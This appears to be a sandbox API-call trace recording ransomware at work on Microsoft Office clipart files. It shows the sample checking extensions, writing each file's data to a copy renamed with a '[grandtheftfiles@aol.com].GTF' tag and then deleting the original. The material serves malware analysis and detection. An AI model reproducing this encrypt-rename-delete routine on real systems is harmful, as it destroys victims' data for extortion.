	[0090.854] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099156.JPG") returned 68
	[0090.854] lstrlenW (lpString=".jpg") returned 4
	[0090.854] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0
	[0090.854] lstrcmpiW (lpString1=".JPG", lpString2=".GTF") returned 1
	[0090.854] lstrlenW (lpString="J0099157.JPG") returned 12
	[0090.854] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099157.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099157.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368
	[0090.854] GetFileSizeEx (in: hFile=0x368, lpFileSize=0x2d5ff14 | out: lpFileSize=0x2d5ff14*=9671) returned 1
	[0090.854] CloseHandle (hObject=0x368) returned 1
	[0090.855] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099157.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099157.jpg")) returned 0x220
	[0090.855] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099157.JPG.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099157.jpg.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0090.855] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099157.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099157.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368
	[0090.855] SetFilePointerEx (in: hFile=0x368, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d5fec0 | out: lpNewFilePointer=0x0) returned 1
	[0090.855] SetFilePointerEx (in: hFile=0x368, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d5fec0 | out: lpNewFilePointer=0x0) returned 1
	[0090.855] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099157.JPG.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099157.jpg.id-b4197730.[grandtheftfiles@aol.com].gtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x334
	[0090.855] GetLastError () returned 0x0
	[0090.855] ReadFile (in: hFile=0x368, lpBuffer=0x32de020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d5fecc, lpOverlapped=0x0 | out: lpBuffer=0x32de020*, lpNumberOfBytesRead=0x2d5fecc*=0x25c7, lpOverlapped=0x0) returned 1
	[0090.857] WriteFile (in: hFile=0x334, lpBuffer=0x32de020*, nNumberOfBytesToWrite=0x25d0, lpNumberOfBytesWritten=0x2d5fc94, lpOverlapped=0x0 | out: lpBuffer=0x32de020*, lpNumberOfBytesWritten=0x2d5fc94*=0x25d0, lpOverlapped=0x0) returned 1
	[0090.858] ReadFile (in: hFile=0x368, lpBuffer=0x32de020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d5fecc, lpOverlapped=0x0 | out: lpBuffer=0x32de020*, lpNumberOfBytesRead=0x2d5fecc*=0x0, lpOverlapped=0x0) returned 1
	[0090.858] WriteFile (in: hFile=0x334, lpBuffer=0x32de020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d5fc94, lpOverlapped=0x0 | out: lpBuffer=0x32de020*, lpNumberOfBytesWritten=0x2d5fc94*=0xec, lpOverlapped=0x0) returned 1
	[0090.858] SetEndOfFile (hFile=0x334) returned 1
	[0090.858] CloseHandle (hObject=0x334) returned 1
	[0090.858] SetFilePointerEx (in: hFile=0x368, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d5fec0 | out: lpNewFilePointer=0x0) returned 1
	[0090.858] SetEndOfFile (hFile=0x368) returned 1
	[0090.859] CloseHandle (hObject=0x368) returned 1
	[0090.859] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099157.JPG.id-B4197730.[grandtheftfiles@aol.com].GTF", dwFileAttributes=0x220) returned 1
	[0090.859] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099157.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099157.jpg")) returned 1
	[0090.860] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099157.JPG") returned 68
	[0090.860] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099157.JPG") returned 68
	[0090.860] lstrlenW (lpString=".doc") returned 4
	[0090.860] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1
	[0090.860] lstrlenW (lpString=".docx") returned 5
	[0090.860] lstrcmpiW (lpString1=".docx", lpString2="7.JPG") returned -1
	[0090.860] lstrlenW (lpString=".pdf") returned 4
	[0090.860] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1
	[0090.860] lstrlenW (lpString=".xls") returned 4
	[0090.860] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1
	[0090.860] lstrlenW (lpString=".xlsx") returned 5
	[0090.860] lstrcmpiW (lpString1=".xlsx", lpString2="7.JPG") returned -1
	[0090.860] lstrlenW (lpString=".ppt") returned 4
	[0090.860] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1
	[0090.860] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099157.JPG") returned 68
	[0090.860] lstrlenW (lpString=".zip") returned 4
	[0090.860] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1
	[0090.860] lstrlenW (lpString=".rar") returned 4
	[0090.860] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1
	[0090.860] lstrlenW (lpString=".bz2") returned 4
	[0090.860] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1
	[0090.860] lstrlenW (lpString=".7z") returned 3
	[0090.860] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1
	[0090.860] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099157.JPG") returned 68
	[0090.860] lstrlenW (lpString=".dbf") returned 4
	[0090.860] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1
	[0090.860] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099157.JPG") returned 68
	[0090.860] lstrlenW (lpString=".1cd") returned 4
	[0090.860] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1
	[0090.860] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099157.JPG") returned 68
	[0090.860] lstrlenW (lpString=".jpg") returned 4
	[0090.860] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0
	[0090.861] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099157.JPG") returned 68
	[0090.861] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099157.JPG") returned 68
	[0090.861] lstrlenW (lpString=".doc") returned 4
	[0090.861] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1
	[0090.861] lstrlenW (lpString=".docx") returned 5
	[0090.861] lstrcmpiW (lpString1=".docx", lpString2="7.JPG") returned -1
	[0090.861] lstrlenW (lpString=".pdf") returned 4
	[0090.861] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1
	[0090.861] lstrlenW (lpString=".xls") returned 4
	[0090.861] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1
	[0090.861] lstrlenW (lpString=".xlsx") returned 5
	[0090.861] lstrcmpiW (lpString1=".xlsx", lpString2="7.JPG") returned -1
	[0090.861] lstrlenW (lpString=".ppt") returned 4
	[0090.861] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1
	[0090.861] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099157.JPG") returned 68
	[0090.861] lstrlenW (lpString=".zip") returned 4
	[0090.861] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1
	[0090.861] lstrlenW (lpString=".rar") returned 4
	[0090.861] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1
	[0090.861] lstrlenW (lpString=".bz2") returned 4
	[0090.861] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1
	[0090.861] lstrlenW (lpString=".7z") returned 3
	[0090.861] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1
	[0090.861] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099157.JPG") returned 68
	[0090.861] lstrlenW (lpString=".dbf") returned 4
	[0090.861] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1
	[0090.861] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099157.JPG") returned 68
	[0090.861] lstrlenW (lpString=".1cd") returned 4
	[0090.861] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1
	[0090.861] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099157.JPG") returned 68
	[0090.861] lstrlenW (lpString=".jpg") returned 4
	[0090.861] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0
	[0090.861] lstrcmpiW (lpString1=".WMF", lpString2=".GTF") returned 1
	[0090.862] lstrlenW (lpString="J0099158.WMF") returned 12
	[0090.862] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099158.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099158.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368
	[0090.862] GetFileSizeEx (in: hFile=0x368, lpFileSize=0x2d5ff14 | out: lpFileSize=0x2d5ff14*=26160) returned 1
	[0090.862] CloseHandle (hObject=0x368) returned 1
	[0090.862] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099158.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099158.wmf")) returned 0x220
	[0090.862] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099158.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099158.wmf.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0090.862] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099158.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099158.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368
	[0090.862] SetFilePointerEx (in: hFile=0x368, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d5fec0 | out: lpNewFilePointer=0x0) returned 1
	[0090.862] SetFilePointerEx (in: hFile=0x368, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d5fec0 | out: lpNewFilePointer=0x0) returned 1
	[0090.862] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099158.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099158.wmf.id-b4197730.[grandtheftfiles@aol.com].gtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x334
	[0090.863] GetLastError () returned 0x0
	[0090.863] ReadFile (in: hFile=0x368, lpBuffer=0x32de020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d5fecc, lpOverlapped=0x0 | out: lpBuffer=0x32de020*, lpNumberOfBytesRead=0x2d5fecc*=0x6630, lpOverlapped=0x0) returned 1
	[0090.865] WriteFile (in: hFile=0x334, lpBuffer=0x32de020*, nNumberOfBytesToWrite=0x6640, lpNumberOfBytesWritten=0x2d5fc94, lpOverlapped=0x0 | out: lpBuffer=0x32de020*, lpNumberOfBytesWritten=0x2d5fc94*=0x6640, lpOverlapped=0x0) returned 1
	[0090.866] ReadFile (in: hFile=0x368, lpBuffer=0x32de020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d5fecc, lpOverlapped=0x0 | out: lpBuffer=0x32de020*, lpNumberOfBytesRead=0x2d5fecc*=0x0, lpOverlapped=0x0) returned 1
	[0090.866] WriteFile (in: hFile=0x334, lpBuffer=0x32de020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d5fc94, lpOverlapped=0x0 | out: lpBuffer=0x32de020*, lpNumberOfBytesWritten=0x2d5fc94*=0xec, lpOverlapped=0x0) returned 1
	[0090.866] SetEndOfFile (hFile=0x334) returned 1
	[0090.866] CloseHandle (hObject=0x334) returned 1
	[0090.866] SetFilePointerEx (in: hFile=0x368, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d5fec0 | out: lpNewFilePointer=0x0) returned 1
	[0090.866] SetEndOfFile (hFile=0x368) returned 1
	[0090.867] CloseHandle (hObject=0x368) returned 1
	[0090.867] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099158.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF", dwFileAttributes=0x220) returned 1
	[0090.867] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099158.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099158.wmf")) returned 1
	[0090.868] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099158.WMF") returned 68
	[0090.868] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099158.WMF") returned 68
	[0090.868] lstrlenW (lpString=".doc") returned 4
	[0090.868] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0090.868] lstrlenW (lpString=".docx") returned 5
	[0090.868] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1
	[0090.868] lstrlenW (lpString=".pdf") returned 4
	[0090.868] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0090.868] lstrlenW (lpString=".xls") returned 4
	[0090.868] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0090.868] lstrlenW (lpString=".xlsx") returned 5
	[0090.868] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1
	[0090.868] lstrlenW (lpString=".ppt") returned 4
	[0090.868] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0090.868] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099158.WMF") returned 68
	[0090.868] lstrlenW (lpString=".zip") returned 4
	[0090.868] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0090.868] lstrlenW (lpString=".rar") returned 4
	[0090.868] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0090.868] lstrlenW (lpString=".bz2") returned 4
	[0090.868] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0090.868] lstrlenW (lpString=".7z") returned 3
	[0090.868] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0090.868] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099158.WMF") returned 68
	[0090.868] lstrlenW (lpString=".dbf") returned 4
	[0090.868] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0090.868] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099158.WMF") returned 68
	[0090.868] lstrlenW (lpString=".1cd") returned 4
	[0090.868] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0090.868] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099158.WMF") returned 68
	[0090.868] lstrlenW (lpString=".jpg") returned 4
	[0090.868] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0090.868] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099158.WMF") returned 68
	[0090.868] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099158.WMF") returned 68
	[0090.868] lstrlenW (lpString=".doc") returned 4
	[0090.868] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0090.869] lstrlenW (lpString=".docx") returned 5
	[0090.869] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1
	[0090.869] lstrlenW (lpString=".pdf") returned 4
	[0090.869] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0090.869] lstrlenW (lpString=".xls") returned 4
	[0090.869] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0090.869] lstrlenW (lpString=".xlsx") returned 5
	[0090.869] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1
	[0090.869] lstrlenW (lpString=".ppt") returned 4
	[0090.869] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0090.869] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099158.WMF") returned 68
	[0090.869] lstrlenW (lpString=".zip") returned 4
	[0090.869] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0090.869] lstrlenW (lpString=".rar") returned 4
	[0090.869] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0090.869] lstrlenW (lpString=".bz2") returned 4
	[0090.869] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0090.869] lstrlenW (lpString=".7z") returned 3
	[0090.869] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0090.869] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099158.WMF") returned 68
	[0090.869] lstrlenW (lpString=".dbf") returned 4
	[0090.869] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0090.869] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099158.WMF") returned 68
	[0090.869] lstrlenW (lpString=".1cd") returned 4
	[0090.869] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0090.869] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099158.WMF") returned 68
	[0090.869] lstrlenW (lpString=".jpg") returned 4
	[0090.869] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0090.869] lstrcmpiW (lpString1=".WMF", lpString2=".GTF") returned 1
	[0090.869] lstrlenW (lpString="J0099159.WMF") returned 12
	[0090.869] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099159.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099159.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x31c
	[0091.184] GetFileSizeEx (in: hFile=0x31c, lpFileSize=0x2d5ff14 | out: lpFileSize=0x2d5ff14*=27546) returned 1
	[0091.184] CloseHandle (hObject=0x31c) returned 1
	[0091.185] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099159.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099159.wmf")) returned 0x220
	[0091.185] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099159.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099159.wmf.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0091.185] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099159.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099159.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x31c
	[0091.185] SetFilePointerEx (in: hFile=0x31c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d5fec0 | out: lpNewFilePointer=0x0) returned 1
	[0091.185] SetFilePointerEx (in: hFile=0x31c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d5fec0 | out: lpNewFilePointer=0x0) returned 1
	[0091.185] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099159.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099159.wmf.id-b4197730.[grandtheftfiles@aol.com].gtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x340
	[0091.185] GetLastError () returned 0x0
	[0091.185] ReadFile (in: hFile=0x31c, lpBuffer=0x32de020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d5fecc, lpOverlapped=0x0 | out: lpBuffer=0x32de020*, lpNumberOfBytesRead=0x2d5fecc*=0x6b9a, lpOverlapped=0x0) returned 1
	[0091.188] WriteFile (in: hFile=0x340, lpBuffer=0x32de020*, nNumberOfBytesToWrite=0x6ba0, lpNumberOfBytesWritten=0x2d5fc94, lpOverlapped=0x0 | out: lpBuffer=0x32de020*, lpNumberOfBytesWritten=0x2d5fc94*=0x6ba0, lpOverlapped=0x0) returned 1
	[0091.189] ReadFile (in: hFile=0x31c, lpBuffer=0x32de020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d5fecc, lpOverlapped=0x0 | out: lpBuffer=0x32de020*, lpNumberOfBytesRead=0x2d5fecc*=0x0, lpOverlapped=0x0) returned 1
	[0091.189] WriteFile (in: hFile=0x340, lpBuffer=0x32de020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d5fc94, lpOverlapped=0x0 | out: lpBuffer=0x32de020*, lpNumberOfBytesWritten=0x2d5fc94*=0xec, lpOverlapped=0x0) returned 1
	[0091.189] SetEndOfFile (hFile=0x340) returned 1
	[0091.189] CloseHandle (hObject=0x340) returned 1
	[0091.189] SetFilePointerEx (in: hFile=0x31c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d5fec0 | out: lpNewFilePointer=0x0) returned 1
	[0091.189] SetEndOfFile (hFile=0x31c) returned 1
	[0091.190] CloseHandle (hObject=0x31c) returned 1
	[0091.190] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099159.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF", dwFileAttributes=0x220) returned 1
	[0091.190] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099159.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099159.wmf")) returned 1
	[0091.191] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099159.WMF") returned 68
	[0091.191] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099159.WMF") returned 68
	[0091.191] lstrlenW (lpString=".doc") returned 4
	[0091.191] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0091.191] lstrlenW (lpString=".docx") returned 5
	[0091.191] lstrcmpiW (lpString1=".docx", lpString2="9.WMF") returned -1
	[0091.191] lstrlenW (lpString=".pdf") returned 4
	[0091.191] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0091.191] lstrlenW (lpString=".xls") returned 4
	[0091.191] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0091.191] lstrlenW (lpString=".xlsx") returned 5
	[0091.191] lstrcmpiW (lpString1=".xlsx", lpString2="9.WMF") returned -1
	[0091.191] lstrlenW (lpString=".ppt") returned 4
	[0091.191] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0091.191] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099159.WMF") returned 68
	[0091.191] lstrlenW (lpString=".zip") returned 4
	[0091.191] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0091.191] lstrlenW (lpString=".rar") returned 4
	[0091.191] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0091.191] lstrlenW (lpString=".bz2") returned 4
	[0091.191] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0091.191] lstrlenW (lpString=".7z") returned 3
	[0091.191] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0091.191] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099159.WMF") returned 68
	[0091.191] lstrlenW (lpString=".dbf") returned 4
	[0091.191] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0091.191] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099159.WMF") returned 68
	[0091.191] lstrlenW (lpString=".1cd") returned 4
	[0091.191] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0091.191] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099159.WMF") returned 68
	[0091.191] lstrlenW (lpString=".jpg") returned 4
	[0091.191] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0091.192] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099159.WMF") returned 68
	[0091.192] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099159.WMF") returned 68
	[0091.192] lstrlenW (lpString=".doc") returned 4
	[0091.192] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0091.192] lstrlenW (lpString=".docx") returned 5
	[0091.192] lstrcmpiW (lpString1=".docx", lpString2="9.WMF") returned -1
	[0091.192] lstrlenW (lpString=".pdf") returned 4
	[0091.192] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0091.192] lstrlenW (lpString=".xls") returned 4
	[0091.192] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0091.192] lstrlenW (lpString=".xlsx") returned 5
	[0091.192] lstrcmpiW (lpString1=".xlsx", lpString2="9.WMF") returned -1
	[0091.192] lstrlenW (lpString=".ppt") returned 4
	[0091.192] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0091.192] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099159.WMF") returned 68
	[0091.192] lstrlenW (lpString=".zip") returned 4
	[0091.192] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0091.192] lstrlenW (lpString=".rar") returned 4
	[0091.192] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0091.192] lstrlenW (lpString=".bz2") returned 4
	[0091.192] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0091.192] lstrlenW (lpString=".7z") returned 3
	[0091.192] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0091.192] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099159.WMF") returned 68
	[0091.192] lstrlenW (lpString=".dbf") returned 4
	[0091.192] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0091.192] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099159.WMF") returned 68
	[0091.192] lstrlenW (lpString=".1cd") returned 4
	[0091.192] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
